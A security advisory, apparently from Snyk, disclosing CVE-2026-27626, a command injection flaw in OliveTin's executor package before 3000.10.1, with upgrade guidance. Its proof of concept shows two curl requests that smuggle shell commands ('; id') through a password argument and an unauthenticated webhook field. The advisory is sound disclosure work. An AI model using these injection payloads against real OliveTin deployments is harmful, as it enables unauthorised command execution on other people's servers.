Command Injection Affecting github.com/olivetin/olivetin/service/internal/executor package, versions <3000.10.1
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMOLIVETINOLIVETINSERVICEINTERNALEXECUTOR-15363351
- published27 Feb 2026
- disclosed25 Feb 2026
- creditByambadalai Sumiya
Introduced: 25 Feb 2026
CVE-2026-27626 (opens in a new tab)How to fix?
Upgrade github.com/OliveTin/OliveTin/service/internal/executor to version 3000.10.1 or higher.
Overview
Affected versions of this package are vulnerable to Command Injection via the password argument type and webhook JSON extraction bypassing shell safety checks. An attacker can execute arbitrary operating system commands by supplying crafted input to the password argument or by sending specially crafted webhook JSON payloads that are processed without proper type safety checks.
Note:
This is only exploitable if the instance is configured to receive webhooks from external sources or if user registration is enabled with default authentication settings.
PoC
# Vector 1 — authenticated user with password-type argument
curl -X POST http://localhost:1337/api/StartAction \
-H "Content-Type: application/json" \
-d '{"actionId": "run-command", "arguments": [{"name": "pass", "value": "'; id; echo '"}]}'
# Vector 2 — unauthenticated webhook
curl -X POST http://localhost:1337/webhook/git-deploy \
-H "Content-Type: application/json" \
-d '{"git_message": "x; id #", "git_author": "attacker"}'